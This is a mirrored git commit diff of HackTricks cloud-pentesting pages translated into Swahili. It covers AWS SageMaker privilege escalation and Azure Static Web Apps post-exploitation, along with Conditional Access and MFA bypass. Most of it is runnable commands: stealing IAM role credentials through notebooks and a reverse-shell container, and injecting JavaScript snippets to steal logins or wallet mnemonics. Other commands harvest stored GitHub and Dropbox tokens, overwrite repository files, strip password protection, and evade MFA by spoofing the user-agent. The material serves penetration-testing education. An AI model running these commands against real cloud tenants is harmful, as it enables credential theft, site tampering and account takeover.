mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-10 12:13:17 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -12,20 +12,20 @@ aws sagemaker create-notebook-instance --notebook-instance-name example \
|
||||
--instance-type ml.t2.medium \
|
||||
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
|
||||
```
|
||||
Majibu yanapaswa kuwa na uwanja wa `NotebookInstanceArn`, ambao utakuwa na ARN ya mfano mpya wa notebook ulioanzishwa. Tunaweza kisha kutumia API ya `create-presigned-notebook-instance-url` kuunda URL ambayo tunaweza kutumia kufikia mfano wa notebook mara tu utakapokuwa tayari:
|
||||
Majibu yanapaswa kuwa na uwanja wa `NotebookInstanceArn`, ambao utaonyesha ARN ya mfano mpya wa notebook ulioanzishwa. Tunaweza kisha kutumia API ya `create-presigned-notebook-instance-url` kuunda URL ambayo tunaweza kutumia kufikia mfano wa notebook mara itakapokuwa tayari:
|
||||
```bash
|
||||
aws sagemaker create-presigned-notebook-instance-url \
|
||||
--notebook-instance-name <name>
|
||||
```
|
||||
Nenda kwenye URL na kivinjari na ubofye \`Open JupyterLab\` katika kona ya juu kulia, kisha shuka chini hadi kwenye kichupo cha “Launcher” na chini ya sehemu ya “Other”, bofya kitufe cha “Terminal”.
|
||||
Naviga kwenye URL na kivinjari na ubofye \`Open JupyterLab\` katika kona ya juu kulia, kisha shuka chini hadi kwenye tab ya “Launcher” na chini ya sehemu ya “Other”, bofya kitufe cha “Terminal”.
|
||||
|
||||
Sasa inawezekana kufikia akiba ya metadata ya IAM Role.
|
||||
Sasa inawezekana kufikia akreditif za metadata za IAM Role.
|
||||
|
||||
**Madhara Yanayoweza Kutokea:** Privesc kwa huduma ya sagemaker iliyotajwa.
|
||||
|
||||
### `sagemaker:CreatePresignedNotebookInstanceUrl`
|
||||
|
||||
Ikiwa kuna Jupyter **notebooks tayari zinaendesha** kwenye hiyo na unaweza kuorodhesha hizo kwa `sagemaker:ListNotebookInstances` (au kuzipata kwa njia nyingine yoyote). Unaweza **kuunda URL kwa ajili yao, kuzipata, na kuiba akiba kama ilivyoonyeshwa katika mbinu ya awali**.
|
||||
Ikiwa kuna Jupyter **notebooks tayari zinaendesha** kwenye hiyo na unaweza kuorodhesha hizo kwa `sagemaker:ListNotebookInstances` (au kuzipata kwa njia nyingine yoyote). Unaweza **kuunda URL kwa ajili yao, kuzipata, na kuiba akreditif kama ilivyoonyeshwa katika mbinu ya awali**.
|
||||
```bash
|
||||
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
|
||||
```
|
||||
@@ -33,7 +33,7 @@ aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <n
|
||||
|
||||
### `sagemaker:CreateProcessingJob,iam:PassRole`
|
||||
|
||||
Mshambuliaji mwenye ruhusa hizo anaweza kufanya **sagemaker kutekeleza processingjob** yenye jukumu la sagemaker lililounganishwa. Mshambuliaji anaweza kuashiria ufafanuzi wa kontena ambalo litakimbizwa katika **AWS managed ECS account instance**, na **kuiba akauti za IAM zilizounganishwa**.
|
||||
Mshambuliaji mwenye ruhusa hizo anaweza kufanya **sagemaker itekeleze processingjob** yenye jukumu la sagemaker lililounganishwa. Mshambuliaji anaweza kuashiria ufafanuzi wa kontena ambalo litakimbia katika **AWS managed ECS account instance**, na **kuiba akauti za IAM zilizounganishwa**.
|
||||
```bash
|
||||
# I uploaded a python docker image to the ECR
|
||||
aws sagemaker create-processing-job \
|
||||
@@ -71,7 +71,7 @@ Mshambuliaji mwenye ruhusa hizo ataweza kuunda kazi ya mafunzo, **ikiendesha kon
|
||||
> cd /tmp/rev
|
||||
> sudo docker build . -t reverseshell
|
||||
>
|
||||
> # Pakia kwenye ECR
|
||||
> # Ipelekwe kwa ECR
|
||||
> sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
|
||||
> sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
|
||||
> sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
|
||||
@@ -94,8 +94,8 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
|
||||
|
||||
### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
|
||||
|
||||
Mshambuliaji mwenye ruhusa hizo ataweza (kwa uwezekano) kuunda **kazi ya mafunzo ya hyperparameter**, **akikimbia kontena yoyote** juu yake na **jukumu lililounganishwa** nalo.\
|
||||
&#xNAN;_I sijafanya unyakuzi kwa sababu ya ukosefu wa muda, lakini inaonekana kama unyakuzi wa awali, jisikie huru kutuma PR yenye maelezo ya unyakuzi._
|
||||
Mshambuliaji mwenye ruhusa hizo ataweza (kwa uwezekano) kuunda **ajira ya mafunzo ya hyperparameter**, **akikimbia kontena yoyote** juu yake na **jukumu lililounganishwa** nalo.\
|
||||
_Sijafanya unyakuzi kwa sababu ya ukosefu wa muda, lakini inaonekana kama unyakuzi wa awali, jisikie huru kutuma PR yenye maelezo ya unyakuzi._
|
||||
|
||||
## Marejeleo
|
||||
|
||||
|
||||
@@ -0,0 +1,162 @@
|
||||
# Az - Static Web Apps Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Static Web Apps
|
||||
|
||||
Kwa maelezo zaidi kuhusu huduma hii angalia:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-static-web-apps.md
|
||||
{{#endref}}
|
||||
|
||||
### Microsoft.Web/staticSites/snippets/write
|
||||
|
||||
Inawezekana kufanya ukurasa wa wavuti wa static upakue msimbo wa HTML wa kiholela kwa kuunda snippet. Hii inaweza kumruhusu mshambuliaji kuingiza msimbo wa JS ndani ya programu ya wavuti na kuiba taarifa nyeti kama vile akidi au funguo za mnemonic (katika pochi za web3).
|
||||
|
||||
Amri ifuatayo inaunda snippet ambayo kila wakati itapakuliwa na programu ya wavuti::
|
||||
```bash
|
||||
az rest \
|
||||
--method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"name": "supersnippet",
|
||||
"location": "Body",
|
||||
"applicableEnvironmentsMode": "AllEnvironments",
|
||||
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
|
||||
"environments": [],
|
||||
"insertBottom": false
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Soma Akikodi za Watu wa Tatu Zilizowekwa
|
||||
|
||||
Kama ilivyoelezwa katika sehemu ya App Service:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-app-services-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
Kukimbia amri ifuatayo inawezekana **kusoma akidi za watu wa tatu** zilizowekwa katika akaunti ya sasa. Kumbuka kwamba ikiwa kwa mfano akidi za Github zimewekwa kwa mtumiaji tofauti, huwezi kupata token kutoka kwa mwingine.
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
```
|
||||
Amri hii inarudisha tokeni za Github, Bitbucket, Dropbox na OneDrive.
|
||||
|
||||
Hapa kuna mifano ya amri za kuangalia tokeni:
|
||||
```bash
|
||||
# GitHub – List Repositories
|
||||
curl -H "Authorization: token <token>" \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
https://api.github.com/user/repos
|
||||
|
||||
# Bitbucket – List Repositories
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://api.bitbucket.org/2.0/repositories
|
||||
|
||||
# Dropbox – List Files in Root Folder
|
||||
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
|
||||
-H "Authorization: Bearer <token>" \
|
||||
-H "Content-Type: application/json" \
|
||||
--data '{"path": ""}'
|
||||
|
||||
# OneDrive – List Files in Root Folder
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children
|
||||
```
|
||||
### Overwrite file - Overwrite routes, HTML, JS...
|
||||
|
||||
Ni uwezekano wa **kuandika tena faili ndani ya repo ya Github** inayoshikilia programu kupitia Azure kwa kutumia **Github token** kutuma ombi kama ifuatavyo ambalo litabainisha njia ya faili ya kuandika tena, maudhui ya faili na ujumbe wa commit.
|
||||
|
||||
Hii inaweza kutumiwa vibaya na washambuliaji kubadilisha **maudhui ya programu ya wavuti** ili kutoa maudhui mabaya (kuchukua taarifa za kuingia, funguo za mnemonic...) au tu **kurekebisha njia fulani** kwa seva zao wenyewe kwa kuandika tena faili ya `staticwebapp.config.json`.
|
||||
|
||||
> [!WARNING]
|
||||
> Kumbuka kwamba ikiwa mshambuliaji atafanikiwa kuathiri repo ya Github kwa njia yoyote, wanaweza pia kuandika faili moja kwa moja kutoka Github.
|
||||
```bash
|
||||
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"commit": {
|
||||
"message": "Update static web app route configuration",
|
||||
"branchName": "main",
|
||||
"committer": {
|
||||
"name": "Azure App Service",
|
||||
"email": "donotreply@microsoft.com"
|
||||
},
|
||||
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
|
||||
"filePath": "staticwebapp.config.json",
|
||||
"message": "Update static web app route configuration",
|
||||
"repoName": "carlospolop/my-first-static-web-app",
|
||||
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
|
||||
},
|
||||
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
|
||||
}'
|
||||
```
|
||||
### Microsoft.Web/staticSites/config/write
|
||||
|
||||
Kwa ruhusa hii, inawezekana **kubadilisha nenosiri** linalolinda programu ya wavuti ya statiki au hata kuondoa ulinzi wa kila mazingira kwa kutuma ombi kama ifuatavyo:
|
||||
```bash
|
||||
# Change password
|
||||
az rest --method put \
|
||||
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{
|
||||
"name": "basicAuth",
|
||||
"type": "Microsoft.Web/staticSites/basicAuth",
|
||||
"properties": {
|
||||
"password": "SuperPassword123.",
|
||||
"secretUrl": "",
|
||||
"applicableEnvironmentsMode": "AllEnvironments"
|
||||
}
|
||||
}'
|
||||
|
||||
# Remove the need of a password
|
||||
az rest --method put \
|
||||
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{
|
||||
"name": "basicAuth",
|
||||
"type": "Microsoft.Web/staticSites/basicAuth",
|
||||
"properties": {
|
||||
"secretUrl": "",
|
||||
"applicableEnvironmentsMode": "SpecifiedEnvironments",
|
||||
"secretState": "None"
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Microsoft.Web/staticSites/listSecrets/action
|
||||
|
||||
Ruhusa hii inaruhusu kupata **API key deployment token** kwa ajili ya programu ya static.
|
||||
|
||||
Token hii inaruhusu kupeleka programu
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
|
||||
```
|
||||
Kisha, ili kuboresha programu unaweza kuendesha amri ifuatayo. Kumbuka kwamba amri hii ilipatikana kwa kuangalia **jinsi Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) inavyofanya kazi**, kwani ndiyo ambayo Azure imeweka kama chaguo-msingi kutumika. Hivyo picha na mipangilio vinaweza kubadilika katika siku zijazo.
|
||||
|
||||
1. Pakua repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (au repo nyingine yoyote unayotaka kupeleka) na uendeshe `cd react-basic`.
|
||||
2. Badilisha msimbo unayotaka kupeleka
|
||||
3. Upeleke kwa kuendesha (Kumbuka kubadilisha `<api-token>`):
|
||||
```bash
|
||||
docker run -it --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
|
||||
```
|
||||
### Microsoft.Web/staticSites/write
|
||||
|
||||
Kwa ruhusa hii inawezekana **kubadilisha chanzo cha programu ya wavuti isiyo na mabadiliko kuwa hifadhi tofauti ya Github**, hata hivyo, haitapatikana kiotomatiki kwani hii inapaswa kufanywa kutoka kwa Kitendo cha Github kawaida kwa kutumia tokeni ambayo ilihalalisha kitendo hicho kwani tokeni hii haiwezi kusasishwa kiotomatiki ndani ya siri za Githb za hifadhi (inaongezwa tu kiotomatiki wakati programu inaundwa).
|
||||
```bash
|
||||
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
|
||||
```
|
||||
### Microsoft.Web/staticSites/resetapikey/action
|
||||
|
||||
Kwa ruhusa hii inawezekana **kurekebisha funguo za API za programu ya wavuti isiyohamishika** ambayo inaweza kusababisha DoS kwa michakato inayotumia kiotomatiki kupeleka programu hiyo.
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -1,4 +1,4 @@
|
||||
# Az - Sera za Ufikiaji wa Masharti & Bypass ya MFA
|
||||
# Az - Sera za Ufikiaji wa Masharti & MFA Bypass
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,30 +12,30 @@ Hapa kuna mifano kadhaa:
|
||||
1. **Sera ya Hatari ya Kuingia**: Sera hii inaweza kuwekwa ili kuhitaji uthibitisho wa hatua nyingi (MFA) wakati hatari ya kuingia inagundulika. Kwa mfano, ikiwa tabia ya kuingia ya mtumiaji ni ya ajabu ikilinganishwa na muundo wao wa kawaida, kama kuingia kutoka nchi tofauti, mfumo unaweza kuomba uthibitisho wa ziada.
|
||||
2. **Sera ya Uzingatiaji wa Kifaa**: Sera hii inaweza kuzuia ufikiaji wa huduma za Azure tu kwa vifaa ambavyo vinakidhi viwango vya usalama vya shirika. Kwa mfano, ufikiaji unaweza kuruhusiwa tu kutoka kwa vifaa ambavyo vina programu ya antivirus iliyo na sasisho au vinatumia toleo fulani la mfumo wa uendeshaji.
|
||||
|
||||
## Bypass za Sera za Ufikiaji wa Masharti
|
||||
## Mipango ya Kuzuia Sera za Ufikiaji wa Masharti
|
||||
|
||||
Inawezekana kwamba sera ya ufikiaji wa masharti **inaangalia taarifa fulani ambazo zinaweza kubadilishwa kwa urahisi kuruhusu bypass ya sera**. Na ikiwa kwa mfano sera ilikuwa inakamilisha MFA, mshambuliaji ataweza kuipita.
|
||||
Inawezekana kwamba sera ya ufikiaji wa masharti **inaangalia taarifa ambazo zinaweza kubadilishwa kwa urahisi kuruhusu kuondolewa kwa sera hiyo**. Na ikiwa kwa mfano sera hiyo ilikuwa inakamilisha MFA, mshambuliaji ataweza kuipita.
|
||||
|
||||
Wakati wa kuunda sera ya ufikiaji wa masharti inahitajika kuashiria **watumiaji** walioathiriwa na **rasilimali za lengo** (kama programu zote za wingu).
|
||||
Wakati wa kuunda sera ya ufikiaji wa masharti, inahitajika kuashiria **watumiaji** walioathirika na **rasilimali za lengo** (kama programu zote za wingu).
|
||||
|
||||
Pia inahitajika kuunda **masharti** ambayo yatakuwa **yanasababisha** sera:
|
||||
Inahitajika pia kuunda **masharti** ambayo yatakuwa **yanasababisha** sera hiyo:
|
||||
|
||||
- **Mtandao**: Ip, anuwai za IP na maeneo ya kijiografia
|
||||
- Inaweza kupitishwa kwa kutumia VPN au Proxy kuungana na nchi au kufanikiwa kuingia kutoka anwani ya IP iliyoidhinishwa
|
||||
- Inaweza kupitishwa kwa kutumia VPN au Proxy kuungana na nchi au kufanikiwa kuingia kutoka anwani ya IP iliyoruhusiwa
|
||||
- **Hatari za Microsoft**: Hatari ya mtumiaji, hatari ya kuingia, hatari ya ndani
|
||||
- **Majukwaa ya vifaa**: Kifaa chochote au chagua Android, iOS, Windows phone, Windows, macOS, Linux
|
||||
- Ikiwa “Kifaa chochote” hakijachaguliwa lakini chaguo zingine zote zimechaguliwa inawezekana kupita kwa kutumia user-agent wa bahati nasibu usiohusiana na majukwaa hayo
|
||||
- **Majukwaa ya vifaa**: Kifaa chochote au kuchagua Android, iOS, Windows phone, Windows, macOS, Linux
|
||||
- Ikiwa “Kifaa chochote” hakijachaguliwa lakini chaguo zingine zote zimechaguliwa, inawezekana kupita kwa kutumia user-agent isiyohusiana na majukwaa hayo
|
||||
- **Programu za mteja**: Chaguo ni “Kivinjari”, “Programu za simu na wateja wa desktop”, “Wateja wa Exchange ActiveSync” na Wateja Wengine”
|
||||
- Ili kupita kuingia na chaguo kisichochaguliwa
|
||||
- **Filter kwa vifaa**: Inawezekana kuunda sheria inayohusiana na kifaa kilichotumika
|
||||
- **Kichujio kwa vifaa**: Inawezekana kuunda sheria inayohusiana na kifaa kilichotumika
|
||||
- **Mchakato wa uthibitishaji**: Chaguo ni “Mchakato wa nambari ya kifaa” na “Uhamisho wa uthibitishaji”
|
||||
- Hii haitamathirisha mshambuliaji isipokuwa anajaribu kutumia mojawapo ya protokali hizo katika jaribio la uvuvi kuingia kwenye akaunti ya mwathirika
|
||||
- Hii haitamathirisha mshambuliaji isipokuwa anajaribu kutumia mojawapo ya itifaki hizo katika jaribio la udukuzi ili kufikia akaunti ya mwathirika
|
||||
|
||||
Matokeo yanayoweza kutokea ni: Zuia au Ruhusu ufikiaji na masharti yanayoweza kama kuhitaji MFA, kifaa kuwa na uzingatiaji...
|
||||
|
||||
### Majukwaa ya Vifaa - Hali ya Kifaa
|
||||
|
||||
Inawezekana kuweka hali kulingana na **jukwaa la kifaa** (Android, iOS, Windows, macOS...), hata hivyo, hii inategemea **user-agent** hivyo ni rahisi kupita. Hata **kufanya chaguo zote zitekeleze MFA**, ikiwa unatumia **user-agent ambayo haitambuliwi,** utaweza kupita MFA au kuzuia:
|
||||
Inawezekana kuweka hali kulingana na **jukwaa la kifaa** (Android, iOS, Windows, macOS...), hata hivyo, hii inategemea **user-agent** hivyo ni rahisi kupita. Hata **kufanya chaguo zote zitekeleze MFA**, ikiwa utatumia **user-agent ambayo haitambuliwi,** utaweza kupita MFA au kuzuia:
|
||||
|
||||
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -44,11 +44,11 @@ Unaweza kubadilisha user agent **kwa mikono** katika zana za maendeleo:
|
||||
|
||||
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
 Au tumia [nyongeza ya kivinjari kama hii](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
|
||||
Au tumia [nyongeza ya kivinjari kama hii](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
|
||||
|
||||
### Mikoa: Nchi, anuwai za IP - Hali ya Kifaa
|
||||
|
||||
Ikiwa hii imewekwa katika sera ya masharti, mshambuliaji anaweza tu kutumia **VPN** katika **nchi iliyoidhinishwa** au kujaribu kupata njia ya kufikia kutoka **anwani ya IP iliyoidhinishwa** ili kupita masharti haya.
|
||||
Ikiwa hii imewekwa katika sera ya masharti, mshambuliaji anaweza tu kutumia **VPN** katika **nchi iliyoruhusiwa** au kujaribu kupata njia ya kufikia kutoka **anwani ya IP iliyoruhusiwa** ili kupita masharti haya.
|
||||
|
||||
### Programu za Wingu
|
||||
|
||||
@@ -65,26 +65,26 @@ roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4
|
||||
|
||||
<token>
|
||||
```
|
||||
Zaidi ya hayo, inawezekana pia kulinda njia ya kuingia (kwa mfano, ikiwa unajaribu kuingia kutoka kwa kivinjari au kutoka kwa programu ya desktop). Zana [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) inafanya baadhi ya ukaguzi ili kujaribu kupita hizi ulinzi pia.
|
||||
Moreover, inawezekana pia kulinda njia ya kuingia (kwa mfano, ikiwa unajaribu kuingia kutoka kwa kivinjari au kutoka kwa programu ya desktop). Chombo [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) hufanya baadhi ya ukaguzi ili kujaribu kupita hizi ulinzi pia.
|
||||
|
||||
Zana [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) inaweza pia kutumika kwa madhumuni sawa ingawa inaonekana haijatunzwa.
|
||||
Chombo [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) kinaweza pia kutumika kwa madhumuni sawa ingawa kinaonekana hakijatunzwa.
|
||||
|
||||
Zana [**ROPCI**](https://github.com/wunderwuzzi23/ropci) inaweza pia kutumika kujaribu hizi ulinzi na kuona ikiwa inawezekana kupita MFAs au vizuizi, lakini zana hii inafanya kazi kutoka kwa mtazamo wa **whitebox**. Kwanza unahitaji kupakua orodha ya Programu zilizoruhusiwa katika tenant na kisha itajaribu kuingia ndani yao.
|
||||
Chombo [**ROPCI**](https://github.com/wunderwuzzi23/ropci) kinaweza pia kutumika kujaribu hizi ulinzi na kuona ikiwa inawezekana kupita MFAs au vizuizi, lakini chombo hiki kinatumika kutoka kwa mtazamo wa **whitebox**. Unahitaji kwanza kupakua orodha ya Apps zilizoruhusiwa katika tenant na kisha itajaribu kuingia ndani yao.
|
||||
|
||||
## Mipango Mingine ya Az MFA
|
||||
|
||||
### Kengele ya simu
|
||||
|
||||
Chaguo moja la Azure MFA ni **kupokea simu katika nambari ya simu iliyowekwa** ambapo itamwuliza mtumiaji **kutuma herufi `#`**.
|
||||
Moja ya chaguo la Azure MFA ni **kupokea simu katika nambari ya simu iliyowekwa** ambapo itamwuliza mtumiaji **kutuma herufi `#`**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Kwa kuwa herufi ni tu **sauti**, mshambuliaji anaweza **kuathiri** ujumbe wa **voicemail** wa nambari ya simu, kuweka kama ujumbe **sauti ya `#`** na kisha, wakati wa kuomba MFA hakikisha kwamba **simu ya waathiriwa inashughulika** (ikiita) ili simu ya Azure irejeleze kwenye voicemail.
|
||||
> Kwa kuwa herufi ni tu **sauti**, mshambuliaji anaweza **kuathiri** ujumbe wa **voicemail** wa nambari ya simu, kuweka kama ujumbe **sauti ya `#`** na kisha, wakati wa kuomba MFA hakikisha kwamba **simu ya waathiriwa inashughulika** (ikiitafuta) ili simu ya Azure irejeleze kwenye voicemail.
|
||||
|
||||
### Vifaa Vinavyokubalika
|
||||
|
||||
Sera mara nyingi zinahitaji kifaa kinachokubalika au MFA, hivyo **mshambuliaji anaweza kujiandikisha kifaa kinachokubalika**, kupata **PRT** token na **kupita kwa njia hii MFA**.
|
||||
Sera mara nyingi zinahitaji kifaa kinachokubalika au MFA, hivyo **mshambuliaji anaweza kujiandikisha kifaa kinachokubalika**, kupata **token ya PRT** na **kupita kwa njia hii MFA**.
|
||||
|
||||
Anza kwa kujiandikisha **kifaa kinachokubalika katika Intune**, kisha **pata PRT** na:
|
||||
Anza kwa kujiandikisha **kifaa kinachokubalika katika Intune**, kisha **pata PRT** kwa:
|
||||
```powershell
|
||||
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
|
||||
|
||||
@@ -104,7 +104,7 @@ Pata maelezo zaidi kuhusu aina hii ya shambulio katika ukurasa ufuatao:
|
||||
|
||||
### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)
|
||||
|
||||
Hii script inapata baadhi ya akidi za mtumiaji na kuangalia kama inaweza kuingia katika baadhi ya programu.
|
||||
Hii skripti inapata baadhi ya akidi za mtumiaji na kuangalia kama inaweza kuingia katika baadhi ya programu.
|
||||
|
||||
Hii ni muhimu kuona kama **huhitajiki MFA kuingia katika baadhi ya programu** ambazo unaweza baadaye kutumia vibaya ili **kuinua haki**.
|
||||
|
||||
@@ -123,7 +123,7 @@ Invoke-MFASweep -Username <username> -Password <pass>
|
||||
```
|
||||
### [ROPCI](https://github.com/wunderwuzzi23/ropci)
|
||||
|
||||
Zana hii imesaidia kubaini njia za kupita MFA na kisha kutumia APIs katika wapangaji wengi wa uzalishaji wa AAD, ambapo wateja wa AAD walidhani walikuwa na MFA iliyotekelezwa, lakini uthibitishaji wa msingi wa ROPC ulifanikiwa.
|
||||
Chombo hiki kimeweza kusaidia kubaini MFA bypasses na kisha kutumia APIs katika AAD tenants nyingi za uzalishaji, ambapo wateja wa AAD walidhani walikuwa na MFA iliyotekelezwa, lakini uthibitisho wa msingi wa ROPC ulifanikiwa.
|
||||
|
||||
> [!TIP]
|
||||
> Unahitaji kuwa na ruhusa za kuorodhesha programu zote ili uweze kuunda orodha ya programu za kushambulia kwa nguvu.
|
||||
|
||||
@@ -0,0 +1,109 @@
|
||||
# Az - Static Web Apps
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Static Web Apps Basic Information
|
||||
|
||||
Azure Static Web Apps ni huduma ya wingu kwa ajili ya kuhost **static web apps with automatic CI/CD from repositories like GitHub**. Inatoa usambazaji wa maudhui duniani kote, backends zisizo na seva, na HTTPS iliyojengwa ndani, ikifanya iwe salama na inayoweza kupanuka. Hata hivyo, hatari ni pamoja na CORS zisizo sahihi, uthibitishaji usiofaa, na uharibu wa maudhui, ambayo yanaweza kufichua apps kwa mashambulizi kama XSS na data leakage ikiwa hayataendeshwa vizuri.
|
||||
|
||||
> [!TIP]
|
||||
> Wakati App ya Static inaundwa unaweza kuchagua **deployment authorization policy** kati ya **Deployment token** na **GitHub Actions workflow**.
|
||||
|
||||
|
||||
### Web App Authentication
|
||||
|
||||
Inawezekana **kusanidi nenosiri** ili kufikia Web App. Kihifadhi cha wavuti kinaruhusu kusanidi ili kulinda mazingira ya majaribio pekee au mazingira yote ya majaribio na uzalishaji.
|
||||
|
||||
Hivi ndivyo wakati wa kuandika, app ya wavuti iliyo na nenosiri inaonekana:
|
||||
|
||||
<figure><img src="../../../images/azure_static_password.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
Inawezekana kuona **kama nenosiri lolote linatumika** na mazingira gani yanayolindwa na:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "/subscriptions/<subscription-id>/resourceGroups/Resource_Group_1/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2024-04-01"
|
||||
```
|
||||
Hata hivyo, hii **haitaonyesha nenosiri kwa maandiko wazi**, bali kitu kama: `"password": "**********************"`.
|
||||
|
||||
### Routes
|
||||
|
||||
Routes zinaelezea **jinsi maombi ya HTTP yanayokuja yanavyoshughulikiwa** ndani ya programu ya wavuti isiyohamishika. Zimewekwa katika faili **`staticwebapp.config.json`**, zinadhibiti uandishi wa URL, mwelekeo, vizuizi vya ufikiaji, na ruhusa kulingana na majukumu, kuhakikisha usimamizi mzuri wa rasilimali na usalama.
|
||||
|
||||
Mfano baadhi:
|
||||
```json
|
||||
{
|
||||
"routes": [
|
||||
{
|
||||
"route": "/",
|
||||
"rewrite": "/index.html"
|
||||
},
|
||||
{
|
||||
"route": "/about",
|
||||
"rewrite": "/about.html"
|
||||
},
|
||||
{
|
||||
"route": "/api/*",
|
||||
"allowedRoles": ["authenticated"]
|
||||
},
|
||||
{
|
||||
"route": "/admin",
|
||||
"redirect": "/login",
|
||||
"statusCode": 302
|
||||
}
|
||||
],
|
||||
"navigationFallback": {
|
||||
"rewrite": "/index.html",
|
||||
"exclude": ["/api/*", "/assets/*"]
|
||||
}
|
||||
}
|
||||
```
|
||||
## Uhesabu
|
||||
```bash
|
||||
# List Static Webapps
|
||||
az staticwebapp list --output table
|
||||
|
||||
# Get Static Webapp details
|
||||
az staticwebapp show --name <name> --resource-group <res-group> --output table
|
||||
|
||||
# Get appsettings
|
||||
az staticwebapp appsettings list --name <name>
|
||||
|
||||
# Get env information
|
||||
az staticwebapp environment list --name <name>
|
||||
az staticwebapp environment functions --name <name>
|
||||
|
||||
# Get API key
|
||||
az staticwebapp secrets list --name <name>
|
